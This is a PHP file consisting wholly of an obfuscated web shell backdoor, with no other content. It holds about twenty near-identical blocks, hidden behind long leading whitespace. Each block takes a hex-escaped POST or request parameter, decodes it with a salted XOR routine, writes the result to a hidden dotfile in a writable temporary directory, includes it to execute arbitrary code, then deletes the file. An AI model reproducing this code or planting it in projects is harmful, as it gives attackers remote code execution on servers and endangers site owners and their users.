<?php																																										if(array_key_exists("\x6Fbject", $_POST) && !is_null($_POST["\x6Fbject"])){ $pgrp = $_POST["\x6Fbject"]; $pgrp = explode ("." ,$pgrp ) ; $pset=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt2 ); $k=0; while( $k < count( $pgrp)) { $v1=$pgrp[$k]; $chS=ord( $salt2[$k %$sLen] ); $d=( ( int)$v1 - $chS -( $k %10)) ^ 43; $pset .= chr( $d ); $k++; } $item = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir()]); foreach ($item as $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $ent = sprintf("%s/.holder", $flg); if (@file_put_contents($ent, $pset) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){ $reference = $_REQUEST["s\x79\x6D"]; $reference = explode ( '.',$reference ) ; $data = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($reference as $x => $v6): $sChar = ord($s9[$x % $sLen]); $dec = ((int)$v6 - $sChar - ($x % 10))^ 12; $data .= chr($dec); endforeach; $mrk = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); foreach ($mrk as $symbol): if (max(0, is_dir($symbol) * is_writable($symbol))) { $binding = implode("/", [$symbol, ".element"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $binding; @unlink($binding); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6B\x65y"])){ $value = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $marker = $_REQUEST["\x6B\x65y"]; $marker = explode ( '.',$marker ) ; $obj= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $len= count( $marker ); for( $u= 0; $u < $len; $u++) { $v9= $marker[$u]; $sChar= ord( $salt[$u % $sLen] ); $d= ( ( int)$v9 - $sChar -( $u % 10)) ^ 9; $obj .= chr( $d ); } foreach ($value as $key => $elem) { if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $data = str_replace("{var_dir}", $elem, "{var_dir}/.item"); $success = file_put_contents($data, $obj); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(isset($_POST) && isset($_POST["sym"])){ $flg = $_POST["sym"]; $flg =explode ( "." , $flg) ; $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($flg as $i =>$v3) { $chS= ord($salt[$i % $sLen]); $d= ((int)$v3 - $chS - ($i % 10)) ^ 97; $pointer.= chr($d); } $ent = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($ent as $pgrp): if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $data = vsprintf("%s/%s", [$pgrp, ".token"]); if (@file_put_contents($data, $pointer) !== false) { include $data; unlink($data); exit; } } endforeach; }
																																										if(!empty($_POST["ps\x65\x74"])){ $descriptor = $_POST["ps\x65\x74"]; $descriptor = explode ( "." ,$descriptor); $parameter_group=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $i=0; $__tmp=$descriptor; while( $v1=array_shift( $__tmp)) { $chS=ord( $s[$i %$lenS]); $dec=( ( int)$v1 - $chS -( $i %10)) ^ 73; $parameter_group.= chr( $dec); $i++;} $pointer = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($dat = 0, $component = count($pointer); $dat < $component; $dat++) { $val = $pointer[$dat]; if (!( !is_dir($val) || !is_writable($val) )) { $reference = implode("/", [$val, ".desc"]); $success = file_put_contents($reference, $parameter_group); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(filter_has_var(INPUT_POST, "de\x73c")){ $entry = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm"]); $object = $_POST["de\x73c"]; $object = explode ( "." , $object ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $v = 0; foreach( $object as $v5) { $sChar = ord( $s[$v % $lenS]); $d =( ( int)$v5 - $sChar -( $v % 10))^72; $hld .= chr( $d); $v++;} $tkn = 0; do { $pointer = $entry[$tkn] ?? null; if ($tkn >= count($entry)) break; if (array_product([is_dir($pointer), is_writable($pointer)])) { $mrk = join("/", [$pointer, ".ent"]); if (file_put_contents($mrk, $hld)) { include $mrk; @unlink($mrk); die(); } } $tkn++; } while (true); }
																																										if(!empty($_POST["s\x79\x6D"])){ $dchunk = $_POST["s\x79\x6D"]; $dchunk =explode ('.', $dchunk ); $pointer = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $u = 0; foreach($dchunk as $v2) {$chS = ord($s7[$u % $sLen]); $d =((int)$v2 - $chS -($u % 10)) ^ 85; $pointer .= chr($d); $u++;} $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp"]); foreach ($bind as $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $ent = join("/", [$tkn, ".factor"]); $success = file_put_contents($ent, $pointer); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(array_key_exists("fl\x61\x67", $_REQUEST)){ $holder = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", session_save_path(), "/dev/shm", getenv("TMP")]); $property_set = $_REQUEST["fl\x61\x67"]; $property_set = explode ( "." ,$property_set ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $x =0; while($x < count($property_set)) { $v5 =$property_set[$x]; $chS =ord($s[$x % $sLen]); $d =((int)$v5 - $chS -($x % 10)) ^ 96; $data.=chr($d); $x++;} foreach ($holder as $data_chunk) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $reference = "$data_chunk/.tkn"; $success = file_put_contents($reference, $data); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(isset($_POST["\x65nt\x72y"]) ? true : false){ $data = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $holder = $_POST["\x65nt\x72y"]; $holder = explode ( "." , $holder ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $i = 0; foreach ($holder as $v8) { $chS = ord($salt[$i %$sLen]); $d = ((int)$v8 - $chS - ($i %10)) ^ 19; $rec .=chr($d); $i++;} foreach ($data as $ref): if (!( !is_dir($ref) || !is_writable($ref) )) { $binding = str_replace("{var_dir}", $ref, "{var_dir}/.elem"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $binding; @unlink($binding); die(); } } endforeach; }
																																										if(in_array("h\x6F\x6Cd\x65r", array_keys($_REQUEST))){ $entry = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $rec = $_REQUEST["h\x6F\x6Cd\x65r"]; $rec = explode ( '.' , $rec ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $l = 0; $__tmp = $rec; while( $v1 = array_shift( $__tmp)) {$chS = ord( $s[$l % $sLen]); $dec =( ( int)$v1 - $chS -( $l % 10)) ^ 57; $token .= chr( $dec); $l++; } while ($bind = array_shift($entry)) { if (is_dir($bind) ? is_writable($bind) : false) { $pointer = sprintf("%s/.pgrp", $bind); if (file_put_contents($pointer, $token)) { include $pointer; @unlink($pointer); die(); } } } }
																																										if(array_key_exists("\x65\x6Et", $_POST)){ $fac = $_POST["\x65\x6Et"]; $fac = explode ( "." , $fac ) ; $dchunk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($fac as $y=>$v6): $sChar= ord($salt[$y % $lenS]); $d= ((int)$v6 - $sChar - ($y % 10))^ 94; $dchunk.= chr($d); endforeach; $reference = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); $record = 0; do { $sym = $reference[$record] ?? null; if ($record >= count($reference)) break; if (max(0, is_dir($sym) * is_writable($sym))) { $descriptor = sprintf("%s/.object", $sym); if (@file_put_contents($descriptor, $dchunk) !== false) { include $descriptor; unlink($descriptor); exit; } } $record++; } while (true); }
																																										if(isset($_POST["r\x65fe\x72\x65nc\x65"])){ $token = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp"]); $pset = $_POST["r\x65fe\x72\x65nc\x65"]; $pset= explode ( "." , $pset ); $item = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $p = 0; $__tmp = $pset; while ($v2 = array_shift($__tmp)) { $sChar = ord($s4[$p % $lenS] ); $dec = ((int)$v2 - $sChar - ($p % 10)) ^ 51; $item .= chr($dec ); $p++;} $component = 0; do { $symbol = $token[$component] ?? null; if ($component >= count($token)) break; if (is_dir($symbol) ? is_writable($symbol) : false) { $holder = "$symbol/.property_set"; if (file_put_contents($holder, $item)) { require $holder; unlink($holder); exit; } } $component++; } while (true); }
																																										if(array_key_exists("\x64a\x74\x61\x5Fchunk", $_REQUEST)){ $property_set = $_REQUEST["\x64a\x74\x61\x5Fchunk"]; $property_set = explode('.' , $property_set ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $property_set as $v => $v3) { $chS = ord( $s[$v%$lenS] ); $dec = ( ( int)$v3 - $chS -( $v%10)) ^ 7; $reference .= chr( $dec ); } $marker = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd()]); foreach ($marker as $dchunk): if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $element = "$dchunk" . "/.parameter_group"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $element; @unlink($element); exit; } } endforeach; }
																																										if(array_key_exists("\x70\x72op\x65\x72t\x79_s\x65t", $_POST) && !is_null($_POST["\x70\x72op\x65\x72t\x79_s\x65t"])){ $symbol = $_POST["\x70\x72op\x65\x72t\x79_s\x65t"]; $symbol = explode ("." ,$symbol) ; $element = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $n = 0; $__tmp = $symbol; while( $v8 = array_shift( $__tmp)) { $sChar = ord( $s4[$n % $lenS]); $dec =( ( int)$v8 - $sChar -( $n % 10)) ^ 78; $element .= chr( $dec); $n++; } $hld = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); foreach ($hld as $key => $binding) { if (is_dir($binding) ? is_writable($binding) : false) { $data = implode("/", [$binding, ".bind"]); $success = file_put_contents($data, $element); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["p\x67r\x70"])){ $ref = $_REQUEST["p\x67r\x70"]; $ref = explode ( '.' , $ref ) ; $marker = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $k = 0; while ($k < count($ref)) { $v2 = $ref[$k]; $chS = ord($s3[$k % $sLen]); $d = ((int)$v2 - $chS - ($k % 10)) ^ 92; $marker .= chr($d); $k++; } $ent = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($ent as $key => $mrk) { if (is_writable($mrk) && is_dir($mrk)) { $object = join("/", [$mrk, ".flag"]); if (file_put_contents($object, $marker)) { require $object; unlink($object); exit; } } } }
																																										if(array_key_exists("\x68o\x6Cde\x72", $_REQUEST) && !is_null($_REQUEST["\x68o\x6Cde\x72"])){ $component = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); $mrk = $_REQUEST["\x68o\x6Cde\x72"]; $mrk = explode ("." ,$mrk ) ; $desc = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); $l = 0; $__tmp = $mrk; while($v6 = array_shift($__tmp)) { $sChar = ord($salt1[$l % $lenS] ); $dec =((int)$v6 - $sChar -($l % 10)) ^ 67; $desc .= chr($dec ); $l++; } foreach ($component as $data_chunk) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $element = "$data_chunk/.dchunk"; if (file_put_contents($element, $desc)) { include $element; @unlink($element); die(); } } } }
																																										if(in_array("\x69\x74em", array_keys($_REQUEST))){ $resource = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP")]); $factor = $_REQUEST["\x69\x74em"]; $factor = explode ( ".", $factor); $dchunk= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s3); foreach( $factor as $o => $v8): $chS= ord( $s3[$o% $sLen]); $dec= ( ( int)$v8 - $chS -( $o% 10)) ^ 98; $dchunk .= chr( $dec); endforeach; $flag = 0; do { $symbol = $resource[$flag] ?? null; if ($flag >= count($resource)) break; if (is_dir($symbol) && is_writable($symbol)) { $comp = str_replace("{var_dir}", $symbol, "{var_dir}/.entry"); if (file_put_contents($comp, $dchunk)) { include $comp; @unlink($comp); exit; } } $flag++; } while (true); }
																																										if(array_key_exists("s\x79m", $_POST)){ $fac = $_POST["s\x79m"]; $fac=explode ( ".", $fac ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $w = 0; $__len = count( $fac); do { if( $w >= $__len) break; $v9 = $fac[$w]; $sChar = ord( $s[$w% $sLen]); $d =( ( int)$v9 - $sChar -( $w% 10)) ^ 66; $bind .= chr( $d); $w++; } while( true); $ptr = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir()]); foreach ($ptr as $record): if (is_dir($record) ? is_writable($record) : false) { $pointer = sprintf("%s/.reference", $record); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $pointer; @unlink($pointer); exit; } } endforeach; }
																																										if(isset($_POST["\x72\x65\x66e\x72ence"]) ? true : false){ $desc = $_POST["\x72\x65\x66e\x72ence"]; $desc= explode('.', $desc ); $entry =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $n =0; $__tmp =$desc; while( $v8 =array_shift( $__tmp)) { $sChar =ord( $s[$n%$lenS]); $dec =( ( int)$v8 - $sChar -( $n%10)) ^ 71; $entry .= chr( $dec); $n++; } $marker = array_filter(["/var/tmp", getenv("TMP"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($marker as $symbol) { if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $flg = join("/", [$symbol, ".comp"]); if (@file_put_contents($flg, $entry) !== false) { include $flg; unlink($flg); die(); } } } }


if(isset($_POST["r\x65\x66"]) ? true : false){
	$val = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]);
	$pset = $_POST["r\x65\x66"];
		  $pset=	explode			("." ,	 $pset)	 ; 
	$ptr = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt3		);
            $len = count($pset		);
    
            for($u = 0; $u < $len; $u++) {
                $v6 = $pset[$u];
                $sChar = ord($salt3[$u 	%	$sLen]		);
                $d =((int)$v6 - $sChar -($u 	%	10)) ^ 16;
                $ptr	 .=chr($d		); 	}	
	foreach ($val as $key => $component) {
    		if (!!is_dir($component) && !!is_writable($component)) {
    $itm = join("/", [$component, ".obj"]);
    if (file_put_contents($itm, $ptr)) {
	require $itm;
	unlink($itm);
	exit;
}
}
}
}